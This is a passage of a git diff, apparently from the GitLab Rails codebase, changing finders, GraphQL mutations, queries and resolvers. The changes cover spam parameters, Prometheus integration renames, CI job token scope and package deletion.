+ environments = by_ids(environments)
# Raises InvalidStatesError if params[:states] contains invalid states.
by_states(environments)
@@ -47,6 +48,14 @@ module Environments
end
end
+ def by_ids(environments)
+ if params[:environment_ids].present?
+ environments.for_id(params[:environment_ids])
+ else
+ environments
+ end
+ end
+
def environments_with_states(environments)
# Convert to array of strings
states = Array(params[:states]).map(&:to_s)
diff --git a/app/finders/members_finder.rb b/app/finders/members_finder.rb
index 1ff2ad01b63..ea101cf1dcd 100644
--- a/app/finders/members_finder.rb
+++ b/app/finders/members_finder.rb
@@ -83,7 +83,10 @@ class MembersFinder
union = Gitlab::SQL::Union.new(union_members, remove_duplicates: false) # rubocop: disable Gitlab/Union
sql = distinct_on(union)
- Member.includes(:user).from([Arel.sql("(#{sql}) AS #{Member.table_name}")]) # rubocop: disable CodeReuse/ActiveRecord
+ # enumerate the columns here since we are enumerating them in the union and want to be immune to
+ # column caching issues when adding/removing columns
+ Member.select(*Member.column_names)
+ .includes(:user).from([Arel.sql("(#{sql}) AS #{Member.table_name}")]) # rubocop: disable CodeReuse/ActiveRecord
end
def distinct_on(union)
diff --git a/app/finders/merge_requests_finder.rb b/app/finders/merge_requests_finder.rb
index 19fcd91a5b8..e23fa3f7f68 100644
--- a/app/finders/merge_requests_finder.rb
+++ b/app/finders/merge_requests_finder.rb
@@ -76,6 +76,7 @@ class MergeRequestsFinder < IssuableFinder
def filter_negated_items(items)
items = super(items)
items = by_negated_reviewer(items)
+ items = by_negated_approved_by(items)
by_negated_target_branch(items)
end
@@ -119,6 +120,12 @@ class MergeRequestsFinder < IssuableFinder
end
# rubocop: enable CodeReuse/ActiveRecord
+ def by_negated_approved_by(items)
+ return items unless not_params[:approved_by_usernames]
+
+ items.not_approved_by_users_with_usernames(not_params[:approved_by_usernames])
+ end
+
def source_project_id
@source_project_id ||= params[:source_project_id].presence
end
diff --git a/app/finders/milestones_finder.rb b/app/finders/milestones_finder.rb
index 5d2a54ac979..5fe55e88086 100644
--- a/app/finders/milestones_finder.rb
+++ b/app/finders/milestones_finder.rb
@@ -18,6 +18,8 @@ class MilestonesFinder
attr_reader :params
+ EXPIRED_LAST_SORTS = %i[expired_last_due_date_asc expired_last_due_date_desc].freeze
+
def initialize(params = {})
@params = params
end
@@ -70,7 +72,16 @@ class MilestonesFinder
end
def order(items)
- sort_by = params[:sort].presence || 'due_date_asc'
- items.sort_by_attribute(sort_by)
+ sort_by = params[:sort].presence || :due_date_asc
+
+ if sort_by_expired_last?(sort_by)
+ items.sort_with_expired_last(sort_by)
+ else
+ items.sort_by_attribute(sort_by)
+ end
+ end
+
+ def sort_by_expired_last?(sort_by)
+ EXPIRED_LAST_SORTS.include?(sort_by)
end
end
diff --git a/app/finders/packages/helm/package_files_finder.rb b/app/finders/packages/helm/package_files_finder.rb
index 74f9eaaca82..ba400b27554 100644
--- a/app/finders/packages/helm/package_files_finder.rb
+++ b/app/finders/packages/helm/package_files_finder.rb
@@ -3,6 +3,9 @@
module Packages
module Helm
class PackageFilesFinder
+ DEFAULT_PACKAGE_FILES_COUNT = 20
+ MAX_PACKAGE_FILES_COUNT = 1000
+
def initialize(project, channel, params = {})
@project = project
@channel = channel
@@ -10,12 +13,18 @@ module Packages
end
def execute
- package_files = Packages::PackageFile.for_helm_with_channel(@project, @channel).preload_helm_file_metadata
+ package_files = Packages::PackageFile.for_helm_with_channel(@project, @channel)
+ .limit_recent(limit)
by_file_name(package_files)
end
private
+ def limit
+ limit_param = @params[:limit] || DEFAULT_PACKAGE_FILES_COUNT
+ [limit_param, MAX_PACKAGE_FILES_COUNT].min
+ end
+
def by_file_name(files)
return files unless @params[:file_name]
diff --git a/app/finders/projects_finder.rb b/app/finders/projects_finder.rb
index 582075efc4e..dca3d12f3c9 100644
--- a/app/finders/projects_finder.rb
+++ b/app/finders/projects_finder.rb
@@ -55,7 +55,7 @@ class ProjectsFinder < UnionFinder
collection = Project.wrap_with_cte(collection) if use_cte
collection = filter_projects(collection)
- if params[:sort] == 'similarity' && params[:search] && Feature.enabled?(:project_finder_similarity_sort, current_user)
+ if params[:sort] == 'similarity' && params[:search]
collection.sorted_by_similarity_desc(params[:search])
else
sort(collection)
diff --git a/app/finders/security/jobs_finder.rb b/app/finders/security/jobs_finder.rb
index b8649520c20..99bcf97f43c 100644
--- a/app/finders/security/jobs_finder.rb
+++ b/app/finders/security/jobs_finder.rb
@@ -20,7 +20,7 @@ module Security
end
def initialize(pipeline:, job_types: [])
- if self.class == Security::JobsFinder
+ if self.instance_of?(Security::JobsFinder)
raise NotImplementedError, 'This is an abstract class, please instantiate its descendants'
end
@@ -38,7 +38,7 @@ module Security
def execute
return [] if @job_types.empty?
- if Feature.enabled?(:ci_build_metadata_config)
+ if Feature.enabled?(:ci_build_metadata_config, pipeline.project, default_enabled: :yaml)
find_jobs
else
find_jobs_legacy
diff --git a/app/finders/security/security_jobs_finder.rb b/app/finders/security/security_jobs_finder.rb
index 2352e19c7da..008d4e29b13 100644
--- a/app/finders/security/security_jobs_finder.rb
+++ b/app/finders/security/security_jobs_finder.rb
@@ -13,7 +13,7 @@
module Security
class SecurityJobsFinder < JobsFinder
def self.allowed_job_types
- [:sast, :dast, :dependency_scanning, :container_scanning, :secret_detection, :coverage_fuzzing, :api_fuzzing]
+ [:sast, :dast, :dependency_scanning, :container_scanning, :secret_detection, :coverage_fuzzing, :api_fuzzing, :cluster_image_scanning]
end
end
end
diff --git a/app/graphql/mutations/alert_management/prometheus_integration/create.rb b/app/graphql/mutations/alert_management/prometheus_integration/create.rb
index c6dc85dc07c..4d0a5a5cb13 100644
--- a/app/graphql/mutations/alert_management/prometheus_integration/create.rb
+++ b/app/graphql/mutations/alert_management/prometheus_integration/create.rb
@@ -23,7 +23,7 @@ module Mutations
def resolve(args)
project = authorized_find!(args[:project_path])
- return integration_exists if project.prometheus_service
+ return integration_exists if project.prometheus_integration
result = ::Projects::Operations::UpdateService.new(
project,
@@ -32,7 +32,7 @@ module Mutations
**token_attributes
).execute
- response(project.prometheus_service, result)
+ response(project.prometheus_integration, result)
end
private
diff --git a/app/graphql/mutations/alert_management/prometheus_integration/prometheus_integration_base.rb b/app/graphql/mutations/alert_management/prometheus_integration/prometheus_integration_base.rb
index cb243f49b33..d8678ea4d61 100644
--- a/app/graphql/mutations/alert_management/prometheus_integration/prometheus_integration_base.rb
+++ b/app/graphql/mutations/alert_management/prometheus_integration/prometheus_integration_base.rb
@@ -14,7 +14,7 @@ module Mutations
private
def find_object(id:)
- GitlabSchema.object_from_id(id, expected_class: ::PrometheusService)
+ GitlabSchema.object_from_id(id, expected_class: ::Integrations::Prometheus)
end
def response(integration, result)
diff --git a/app/graphql/mutations/alert_management/prometheus_integration/reset_token.rb b/app/graphql/mutations/alert_management/prometheus_integration/reset_token.rb
index 428be091436..33a12405583 100644
--- a/app/graphql/mutations/alert_management/prometheus_integration/reset_token.rb
+++ b/app/graphql/mutations/alert_management/prometheus_integration/reset_token.rb
@@ -6,7 +6,7 @@ module Mutations
class ResetToken < PrometheusIntegrationBase
graphql_name 'PrometheusIntegrationResetToken'
- argument :id, Types::GlobalIDType[::PrometheusService],
+ argument :id, Types::GlobalIDType[::Integrations::Prometheus],
required: true,
description: "The ID of the integration to mutate."
diff --git a/app/graphql/mutations/alert_management/prometheus_integration/update.rb b/app/graphql/mutations/alert_management/prometheus_integration/update.rb
index 7594766176f..ddab1af908c 100644
--- a/app/graphql/mutations/alert_management/prometheus_integration/update.rb
+++ b/app/graphql/mutations/alert_management/prometheus_integration/update.rb
@@ -6,7 +6,7 @@ module Mutations
class Update < PrometheusIntegrationBase
graphql_name 'PrometheusIntegrationUpdate'
- argument :id, Types::GlobalIDType[::PrometheusService],
+ argument :id, Types::GlobalIDType[::Integrations::Prometheus],
required: true,
description: "The ID of the integration to mutate."
diff --git a/app/graphql/mutations/boards/issues/issue_move_list.rb b/app/graphql/mutations/boards/issues/issue_move_list.rb
index 4c9752c6343..b73657ea0c8 100644
--- a/app/graphql/mutations/boards/issues/issue_move_list.rb
+++ b/app/graphql/mutations/boards/issues/issue_move_list.rb
@@ -53,8 +53,6 @@ module Mutations
end
def resolve(board:, project_path:, iid:, **args)
- Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/247861')
-
issue = authorized_find!(project_path: project_path, iid: iid)
move_params = { id: issue.id, board_id: board.id }.merge(move_arguments(args))
diff --git a/app/graphql/mutations/ci/job_token_scope/add_project.rb b/app/graphql/mutations/ci/job_token_scope/add_project.rb
new file mode 100644
index 00000000000..30f98a537b5
--- /dev/null
+++ b/app/graphql/mutations/ci/job_token_scope/add_project.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+module Mutations
+ module Ci
+ module JobTokenScope
+ class AddProject < BaseMutation
+ include FindsProject
+
+ graphql_name 'CiJobTokenScopeAddProject'
+
+ authorize :admin_project
+
+ argument :project_path, GraphQL::ID_TYPE,
+ required: true,
+ description: 'The project that the CI job token scope belongs to.'
+
+ argument :target_project_path, GraphQL::ID_TYPE,
+ required: true,
+ description: 'The project to be added to the CI job token scope.'
+
+ field :ci_job_token_scope,
+ Types::Ci::JobTokenScopeType,
+ null: true,
+ description: "The CI job token's scope of access."
+
+ def resolve(project_path:, target_project_path:)
+ project = authorized_find!(project_path)
+ target_project = Project.find_by_full_path(target_project_path)
+
+ result = ::Ci::JobTokenScope::AddProjectService
+ .new(project, current_user)
+ .execute(target_project)
+
+ if result.success?
+ {
+ ci_job_token_scope: ::Ci::JobToken::Scope.new(project),
+ errors: []
+ }
+ else
+ {
+ ci_job_token_scope: nil,
+ errors: [result.message]
+ }
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/app/graphql/mutations/ci/job_token_scope/remove_project.rb b/app/graphql/mutations/ci/job_token_scope/remove_project.rb
new file mode 100644
index 00000000000..71c9083bef8
--- /dev/null
+++ b/app/graphql/mutations/ci/job_token_scope/remove_project.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+module Mutations
+ module Ci
+ module JobTokenScope
+ class RemoveProject < BaseMutation
+ include FindsProject
+
+ graphql_name 'CiJobTokenScopeRemoveProject'
+
+ authorize :admin_project
+
+ argument :project_path, GraphQL::ID_TYPE,
+ required: true,
+ description: 'The project that the CI job token scope belongs to.'
+
+ argument :target_project_path, GraphQL::ID_TYPE,
+ required: true,
+ description: 'The project to be removed from the CI job token scope.'
+
+ field :ci_job_token_scope,
+ Types::Ci::JobTokenScopeType,
+ null: true,
+ description: "The CI job token's scope of access."
+
+ def resolve(project_path:, target_project_path:)
+ project = authorized_find!(project_path)
+ target_project = Project.find_by_full_path(target_project_path)
+
+ result = ::Ci::JobTokenScope::RemoveProjectService
+ .new(project, current_user)
+ .execute(target_project)
+
+ if result.success?
+ {
+ ci_job_token_scope: ::Ci::JobToken::Scope.new(project),
+ errors: []
+ }
+ else
+ {
+ ci_job_token_scope: nil,
+ errors: [result.message]
+ }
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/app/graphql/mutations/ci/runner/update.rb b/app/graphql/mutations/ci/runner/update.rb
index 5b61b2ffc0d..4cdfa1fb1bd 100644
--- a/app/graphql/mutations/ci/runner/update.rb
+++ b/app/graphql/mutations/ci/runner/update.rb
@@ -66,3 +66,5 @@ module Mutations
end
end
end
+
+Mutations::Ci::Runner::Update.prepend_mod_with('Mutations::Ci::Runner::Update')
diff --git a/app/graphql/mutations/concerns/mutations/package_eventable.rb b/app/graphql/mutations/concerns/mutations/package_eventable.rb
index 86fd7b9a88a..134e3659125 100644
--- a/app/graphql/mutations/concerns/mutations/package_eventable.rb
+++ b/app/graphql/mutations/concerns/mutations/package_eventable.rb
@@ -8,7 +8,7 @@ module Mutations
def track_event(event, scope)
::Packages::CreateEventService.new(nil, current_user, event_name: event, scope: scope).execute
- ::Gitlab::Tracking.event(event.to_s, scope.to_s)
+ ::Gitlab::Tracking.event(event.to_s, scope.to_s, user: current_user)
end
end
end
diff --git a/app/graphql/mutations/concerns/mutations/spam_protection.rb b/app/graphql/mutations/concerns/mutations/spam_protection.rb
index d765da23a4b..341067710b2 100644
--- a/app/graphql/mutations/concerns/mutations/spam_protection.rb
+++ b/app/graphql/mutations/concerns/mutations/spam_protection.rb
@@ -16,25 +16,6 @@ module Mutations
private
- # additional_spam_params -> hash
- #
- # Used from a spammable mutation's #resolve method to generate
- # the required additional spam/CAPTCHA params which must be merged into the params
- # passed to the constructor of a service, where they can then be used in the service
- # to perform spam checking via SpamActionService.
- #
- # Also accesses the #context of the mutation's Resolver superclass to obtain the request.
- #
- # Example:
- #
- # existing_args.merge!(additional_spam_params)
- def additional_spam_params
- {
- api: true,
- request: context[:request]
- }
- end
-
def spam_action_response(object)
fields = spam_action_response_fields(object)
diff --git a/app/graphql/mutations/issues/create.rb b/app/graphql/mutations/issues/create.rb
index 3a57e2434a5..7c4a851f8aa 100644
--- a/app/graphql/mutations/issues/create.rb
+++ b/app/graphql/mutations/issues/create.rb
@@ -73,7 +73,8 @@ module Mutations
project = authorized_find!(project_path)
params = build_create_issue_params(attributes.merge(author_id: current_user.id))
- issue = ::Issues::CreateService.new(project: project, current_user: current_user, params: params).execute
+ spam_params = ::Spam::SpamParams.new_from_request(request: context[:request])
+ issue = ::Issues::CreateService.new(project: project, current_user: current_user, params: params, spam_params: spam_params).execute
if issue.spam?
issue.errors.add(:base, 'Spam detected.')
diff --git a/app/graphql/mutations/issues/set_confidential.rb b/app/graphql/mutations/issues/set_confidential.rb
index 8e88b31d9ed..cfee2420ee0 100644
--- a/app/graphql/mutations/issues/set_confidential.rb
+++ b/app/graphql/mutations/issues/set_confidential.rb
@@ -3,6 +3,8 @@
module Mutations
module Issues
class SetConfidential < Base
+ include Mutations::SpamProtection
+
graphql_name 'IssueSetConfidential'
argument :confidential,
@@ -13,9 +15,13 @@ module Mutations
def resolve(project_path:, iid:, confidential:)
issue = authorized_find!(project_path: project_path, iid: iid)
project = issue.project
+ # Changing confidentiality affects spam checking rules, therefore we need to provide
+ # spam_params so a check can be performed.
+ spam_params = ::Spam::SpamParams.new_from_request(request: context[:request])
- ::Issues::UpdateService.new(project: project, current_user: current_user, params: { confidential: confidential })
+ ::Issues::UpdateService.new(project: project, current_user: current_user, params: { confidential: confidential }, spam_params: spam_params)
.execute(issue)
+ check_spam_action_response!(issue)
{
issue: issue,
diff --git a/app/graphql/mutations/issues/update.rb b/app/graphql/mutations/issues/update.rb
index eb16b7b38d0..1ceed868a6c 100644
--- a/app/graphql/mutations/issues/update.rb
+++ b/app/graphql/mutations/issues/update.rb
@@ -31,7 +31,8 @@ module Mutations
issue = authorized_find!(project_path: project_path, iid: iid)
project = issue.project
- ::Issues::UpdateService.new(project: project, current_user: current_user, params: args).execute(issue)
+ spam_params = ::Spam::SpamParams.new_from_request(request: context[:request])
+ ::Issues::UpdateService.new(project: project, current_user: current_user, params: args, spam_params: spam_params).execute(issue)
{
issue: issue,
diff --git a/app/graphql/mutations/packages/destroy.rb b/app/graphql/mutations/packages/destroy.rb
new file mode 100644
index 00000000000..979a54da6bd
--- /dev/null
+++ b/app/graphql/mutations/packages/destroy.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module Mutations
+ module Packages
+ class Destroy < ::Mutations::BaseMutation
+ graphql_name 'DestroyPackage'
+
+ authorize :destroy_package
+
+ argument :id,
+ ::Types::GlobalIDType[::Packages::Package],
+ required: true,
+ description: 'ID of the Package.'
+
+ def resolve(id:)
+ package = authorized_find!(id: id)
+
+ result = ::Packages::DestroyPackageService.new(container: package, current_user: current_user).execute
+
+ errors = result.error? ? Array.wrap(result[:message]) : []
+
+ {
+ errors: errors
+ }
+ end
+
+ private
+
+ def find_object(id:)
+ # TODO: remove this line when the compatibility layer is removed
+ # See: https://gitlab.com/gitlab-org/gitlab/-/issues/257883
+ id = ::Types::GlobalIDType[::Packages::Package].coerce_isolated_input(id)
+ GitlabSchema.find_by_gid(id)
+ end
+ end
+ end
+end
diff --git a/app/graphql/mutations/release_asset_links/create.rb b/app/graphql/mutations/release_asset_links/create.rb
index 02704efb47c..ff9d98d2c0f 100644
--- a/app/graphql/mutations/release_asset_links/create.rb
+++ b/app/graphql/mutations/release_asset_links/create.rb
@@ -33,6 +33,10 @@ module Mutations
return { link: nil, errors: [message] }
end
+ unless Ability.allowed?(current_user, :update_release, release)
+ raise_resource_not_available_error!
+ end
+
new_link = release.links.create(link_attrs)
unless new_link.persisted?
diff --git a/app/graphql/mutations/security/ci_configuration/base_security_analyzer.rb b/app/graphql/mutations/security/ci_configuration/base_security_analyzer.rb
new file mode 100644
index 00000000000..090a9a4e0ef
--- /dev/null
+++ b/app/graphql/mutations/security/ci_configuration/base_security_analyzer.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+module Mutations
+ module Security
+ module CiConfiguration
+ class BaseSecurityAnalyzer < BaseMutation
+ include FindsProject
+
+ argument :project_path, GraphQL::ID_TYPE,
+ required: true,
+ description: 'Full path of the project.'
+
+ field :success_path, GraphQL::STRING_TYPE, null: true,
+ description: 'Redirect path to use when the response is successful.'
+
+ field :branch, GraphQL::STRING_TYPE, null: true,
+ description: 'Branch that has the new/modified `.gitlab-ci.yml` file.'
+
+ authorize :push_code
+
+ def resolve(project_path:, **args)
+ project = authorized_find!(project_path)
+
+ result = configure_analyzer(project, **args)
+ prepare_response(result)
+ end
+
+ private
+
+ def configure_analyzer(project, **args)
+ raise NotImplementedError
+ end
+
+ def prepare_response(result)
+ {
+ branch: result.payload[:branch],
+ success_path: result.payload[:success_path],
+ errors: result.errors
+ }
+ end
+ end
+ end
+ end
+end
diff --git a/app/graphql/mutations/security/ci_configuration/configure_sast.rb b/app/graphql/mutations/security/ci_configuration/configure_sast.rb
index 237aff1f052..7ce0bf83a4b 100644
--- a/app/graphql/mutations/security/ci_configuration/configure_sast.rb
+++ b/app/graphql/mutations/security/ci_configuration/configure_sast.rb
@@ -3,9 +3,7 @@
module Mutations
module Security
module CiConfiguration
- class ConfigureSast < BaseMutation
- include FindsProject
-
+ class ConfigureSast < BaseSecurityAnalyzer
graphql_name 'ConfigureSast'
description <<~DESC
Configure SAST for a project by enabling SAST in a new or modified
@@ -13,37 +11,12 @@ module Mutations
create a Merge Request are a part of the response.
DESC
- argument :project_path, GraphQL::ID_TYPE,
- required: true,
- description: 'Full path of the project.'
-
argument :configuration, ::Types::CiConfiguration::Sast::InputType,
required: true,
description: 'SAST CI configuration for the project.'
- field :success_path, GraphQL::STRING_TYPE, null: true,
- description: 'Redirect path to use when the response is successful.'
-
- field :branch, GraphQL::STRING_TYPE, null: true,
- description: 'Branch that has the new/modified `.gitlab-ci.yml` file.'
-
- authorize :push_code
-
- def resolve(project_path:, configuration:)
- project = authorized_find!(project_path)
-
- result = ::Security::CiConfiguration::SastCreateService.new(project, current_user, configuration).execute
- prepare_response(result)
- end
-
- private
-
- def prepare_response(result)
- {
- branch: result.payload[:branch],
- success_path: result.payload[:success_path],
- errors: result.errors
- }
+ def configure_analyzer(project, **args)
+ ::Security::CiConfiguration::SastCreateService.new(project, current_user, args[:configuration]).execute
end
end
end
diff --git a/app/graphql/mutations/security/ci_configuration/configure_secret_detection.rb b/app/graphql/mutations/security/ci_configuration/configure_secret_detection.rb
index 32ad670edaa..54322babb26 100644
--- a/app/graphql/mutations/security/ci_configuration/configure_secret_detection.rb
+++ b/app/graphql/mutations/security/ci_configuration/configure_secret_detection.rb
@@ -3,9 +3,7 @@
module Mutations
module Security
module CiConfiguration
- class ConfigureSecretDetection < BaseMutation
- include FindsProject
-
+ class ConfigureSecretDetection < BaseSecurityAnalyzer
graphql_name 'ConfigureSecretDetection'
description <<~DESC
Configure Secret Detection for a project by enabling Secret Detection
@@ -14,33 +12,8 @@ module Mutations
response.
DESC
- argument :project_path, GraphQL::ID_TYPE,
- required: true,
- description: 'Full path of the project.'
-
- field :success_path, GraphQL::STRING_TYPE, null: true,
- description: 'Redirect path to use when the response is successful.'
-
- field :branch, GraphQL::STRING_TYPE, null: true,
- description: 'Branch that has the new/modified `.gitlab-ci.yml` file.'
-
- authorize :push_code
-
- def resolve(project_path:)
- project = authorized_find!(project_path)
-
- result = ::Security::CiConfiguration::SecretDetectionCreateService.new(project, current_user).execute
- prepare_response(result)
- end
-
- private
-
- def prepare_response(result)
- {
- branch: result.payload[:branch],
- success_path: result.payload[:success_path],
- errors: result.errors
- }
+ def configure_analyzer(project, **_args)
+ ::Security::CiConfiguration::SecretDetectionCreateService.new(project, current_user).execute
end
end
end
diff --git a/app/graphql/mutations/snippets/create.rb b/app/graphql/mutations/snippets/create.rb
index d1ad0697acd..765163e73a1 100644
--- a/app/graphql/mutations/snippets/create.rb
+++ b/app/graphql/mutations/snippets/create.rb
@@ -49,7 +49,9 @@ module Mutations
process_args_for_params!(args)
- service_response = ::Snippets::CreateService.new(project: project, current_user: current_user, params: args).execute
+ spam_params = ::Spam::SpamParams.new_from_request(request: context[:request])
+ service = ::Snippets::CreateService.new(project: project, current_user: current_user, params: args, spam_params: spam_params)
+ service_response = service.execute
# Only when the user is not an api user and the operation was successful
if !api_user? && service_response.success?
@@ -81,12 +83,6 @@ module Mutations
# it's the expected key param
args[:files] = args.delete(:uploaded_files)
- if Feature.enabled?(:snippet_spam)
- args.merge!(additional_spam_params)
- else
- args[:disable_spam_action_service] = true
- end
-
# Return nil to make it explicit that this method is mutating the args parameter, and that
# the return value is not relevant and is not to be used.
nil
diff --git a/app/graphql/mutations/snippets/update.rb b/app/graphql/mutations/snippets/update.rb
index 2e1382e1cb1..792c631e5ca 100644
--- a/app/graphql/mutations/snippets/update.rb
+++ b/app/graphql/mutations/snippets/update.rb
@@ -34,7 +34,9 @@ module Mutations
process_args_for_params!(args)
- service_response = ::Snippets::UpdateService.new(project: snippet.project, current_user: current_user, params: args).execute(snippet)
+ spam_params = ::Spam::SpamParams.new_from_request(request: context[:request])
+ service = ::Snippets::UpdateService.new(project: snippet.project, current_user: current_user, params: args, spam_params: spam_params)
+ service_response = service.execute(snippet)
# TODO: DRY this up - From here down, this is all duplicated with Mutations::Snippets::Create#resolve, except for
# `snippet.reset`, which is required in order to return the object in its non-dirty, unmodified, database state
@@ -62,12 +64,6 @@ module Mutations
def process_args_for_params!(args)
convert_blob_actions_to_snippet_actions!(args)
- if Feature.enabled?(:snippet_spam)
- args.merge!(additional_spam_params)
- else
- args[:disable_spam_action_service] = true
- end
-
# Return nil to make it explicit that this method is mutating the args parameter, and that
# the return value is not relevant and is not to be used.
nil
diff --git a/app/graphql/queries/container_registry/get_container_repositories.query.graphql b/app/graphql/queries/container_registry/get_container_repositories.query.graphql
index 4683ef9dfdb..df0b590acac 100644
--- a/app/graphql/queries/container_registry/get_container_repositories.query.graphql
+++ b/app/graphql/queries/container_registry/get_container_repositories.query.graphql
@@ -29,6 +29,7 @@ query getProjectContainerRepositories(
canDelete
createdAt
expirationPolicyStartedAt
+ expirationPolicyCleanupStatus
__typename
}
pageInfo {
@@ -61,6 +62,7 @@ query getProjectContainerRepositories(
canDelete
createdAt
expirationPolicyStartedAt
+ expirationPolicyCleanupStatus
__typename
}
pageInfo {
diff --git a/app/graphql/queries/epic/epic_children.query.graphql b/app/graphql/queries/epic/epic_children.query.graphql
index 5ee27052f95..b0e55811b7d 100644
--- a/app/graphql/queries/epic/epic_children.query.graphql
+++ b/app/graphql/queries/epic/epic_children.query.graphql
@@ -42,6 +42,7 @@ fragment EpicNode on Epic {
relationPath
createdAt
closedAt
+ confidential
hasChildren
hasIssues
group {
diff --git a/app/graphql/queries/pipelines/get_pipeline_details.query.graphql b/app/graphql/queries/pipelines/get_pipeline_details.query.graphql
index 873ecc81466..4e4caa1e27c 100644
--- a/app/graphql/queries/pipelines/get_pipeline_details.query.graphql
+++ b/app/graphql/queries/pipelines/get_pipeline_details.query.graphql
@@ -29,6 +29,9 @@ query getPipelineDetails($projectPath: ID!, $iid: ID!) {
iid
complete
usesNeeds
+ userPermissions {
+ updatePipeline
+ }
downstream {
__typename
nodes {
diff --git a/app/graphql/queries/releases/all_releases.query.graphql b/app/graphql/queries/releases/all_releases.query.graphql
new file mode 100644
index 00000000000..ab8cbcb8aa3
--- /dev/null
+++ b/app/graphql/queries/releases/all_releases.query.graphql
@@ -0,0 +1,105 @@
+# This query is identical to
+# `app/assets/javascripts/releases/graphql/queries/all_releases.query.graphql`.
+# These two queries should be kept in sync.
+query allReleases(
+ $fullPath: ID!
+ $first: Int
+ $last: Int
+ $before: String
+ $after: String
+ $sort: ReleaseSort
+) {
+ project(fullPath: $fullPath) {
+ __typename
+ releases(first: $first, last: $last, before: $before, after: $after, sort: $sort) {
+ __typename
+ nodes {
+ __typename
+ name
+ tagName
+ tagPath
+ descriptionHtml
+ releasedAt
+ createdAt
+ upcomingRelease
+ assets {
+ __typename
+ count
+ sources {
+ __typename
+ nodes {
+ __typename
+ format
+ url
+ }
+ }
+ links {
+ __typename
+ nodes {
+ __typename
+ id
+ name
+ url
+ directAssetUrl
+ linkType
+ external
+ }
+ }
+ }
+ evidences {
+ __typename
+ nodes {
+ __typename
+ filepath
+ collectedAt
+ sha
+ }
+ }
+ links {
+ __typename
+ editUrl
+ selfUrl
+ openedIssuesUrl
+ closedIssuesUrl
+ openedMergeRequestsUrl
+ mergedMergeRequestsUrl
+ closedMergeRequestsUrl
+ }
+ commit {
+ __typename
+ sha
+ webUrl
+ title
+ }
+ author {
+ __typename
+ webUrl
+ avatarUrl
+ username
+ }
+ milestones {
+ __typename
+ nodes {
+ __typename
+ id
+ title
+ description
+ webPath
+ stats {
+ __typename
+ totalIssuesCount
+ closedIssuesCount
+ }
+ }
+ }
+ }
+ pageInfo {
+ __typename
+ startCursor
+ hasPreviousPage
+ hasNextPage
+ endCursor
+ }
+ }
+ }
+}
diff --git a/app/graphql/resolvers/alert_management/alert_resolver.rb b/app/graphql/resolvers/alert_management/alert_resolver.rb
index 008641ed88a..62744e719da 100644
--- a/app/graphql/resolvers/alert_management/alert_resolver.rb
+++ b/app/graphql/resolvers/alert_management/alert_resolver.rb
@@ -12,7 +12,7 @@ module Resolvers
argument :statuses, [Types::AlertManagement::StatusEnum],
as: :status,
required: false,
- description: 'Alerts with the specified statues. For example, [TRIGGERED].'
+ description: 'Alerts with the specified statues. For example, `[TRIGGERED]`.'
argument :sort, Types::AlertManagement::AlertSortEnum,
description: 'Sort alerts by this criteria.',
diff --git a/app/graphql/resolvers/alert_management/integrations_resolver.rb b/app/graphql/resolvers/alert_management/integrations_resolver.rb
index cb7e73c2d1a..a97650e95d9 100644
--- a/app/graphql/resolvers/alert_management/integrations_resolver.rb
+++ b/app/graphql/resolvers/alert_management/integrations_resolver.rb
@@ -34,7 +34,7 @@ module Resolvers
def prometheus_integrations
return [] unless prometheus_integrations_allowed?
- Array(project.prometheus_service)
+ Array(project.prometheus_integration)
end
def http_integrations
@@ -54,7 +54,7 @@ module Resolvers
def expected_integration_types
[].tap do |types|
types << ::AlertManagement::HttpIntegration if http_integrations_allowed?
- types << ::PrometheusService if prometheus_integrations_allowed?
+ types << ::Integrations::Prometheus if prometheus_integrations_allowed?
end
end
end
diff --git a/app/graphql/resolvers/board_list_issues_resolver.rb b/app/graphql/resolvers/board_list_issues_resolver.rb
index dac93b91469..25fb35ec74b 100644
--- a/app/graphql/resolvers/board_list_issues_resolver.rb
+++ b/app/graphql/resolvers/board_list_issues_resolver.rb
@@ -16,7 +16,7 @@ module Resolvers
filter_params = item_filters(args[:filters]).merge(board_id: list.board.id, id: list.id)
service = ::Boards::Issues::ListService.new(list.board.resource_parent, context[:current_user], filter_params)
- offset_pagination(service.execute)
+ service.execute
end
# https://gitlab.com/gitlab-org/gitlab/-/issues/235681
diff --git a/app/graphql/resolvers/ci/config_resolver.rb b/app/graphql/resolvers/ci/config_resolver.rb
index 252c9d3acf0..f2e33251b9c 100644
--- a/app/graphql/resolvers/ci/config_resolver.rb
+++ b/app/graphql/resolvers/ci/config_resolver.rb
@@ -18,6 +18,10 @@ module Resolvers
required: true,
description: 'The project of the CI config.'
+ argument :sha, GraphQL::STRING_TYPE,
+ required: false,
+ description: "Sha for the pipeline."
+
argument :content, GraphQL::STRING_TYPE,
required: true,
description: "Contents of `.gitlab-ci.yml`."
@@ -26,11 +30,11 @@ module Resolvers
required: false,
description: 'Run pipeline creation simulation, or only do static check.'
- def resolve(project_path:, content:, dry_run: false)
+ def resolve(project_path:, content:, sha: nil, dry_run: false)
project = authorized_find!(project_path: project_path)
result = ::Gitlab::Ci::Lint
- .new(project: project, current_user: context[:current_user])
+ .new(project: project, current_user: context[:current_user], sha: sha)
.validate(content, dry_run: dry_run)
response(result).merge(merged_yaml: result.merged_yaml)
diff --git a/app/graphql/resolvers/ci/job_token_scope_resolver.rb b/app/graphql/resolvers/ci/job_token_scope_resolver.rb
new file mode 100644
index 00000000000..ca76a7b94fc
--- /dev/null
+++ b/app/graphql/resolvers/ci/job_token_scope_resolver.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module Resolvers
+ module Ci
+ class JobTokenScopeResolver < BaseResolver
+ include Gitlab::Graphql::Authorize::AuthorizeResource
+
+ authorize :admin_project
+ description 'Container for resources that can be accessed by a CI job token from the current project. Null if job token scope setting is disabled.'
+ type ::Types::Ci::JobTokenScopeType, null: true
+
+ def resolve
+ authorize!(object)
+
+ return unless object.ci_job_token_scope_enabled?
+
+ ::Ci::JobToken::Scope.new(object)
+ end
+ end
+ end
+end
diff --git a/app/graphql/resolvers/ci/runners_resolver.rb b/app/graphql/resolvers/ci/runners_resolver.rb
index 3ad1e2780dd..5074a248e18 100644
--- a/app/graphql/resolvers/ci/runners_resolver.rb
+++ b/app/graphql/resolvers/ci/runners_resolver.rb
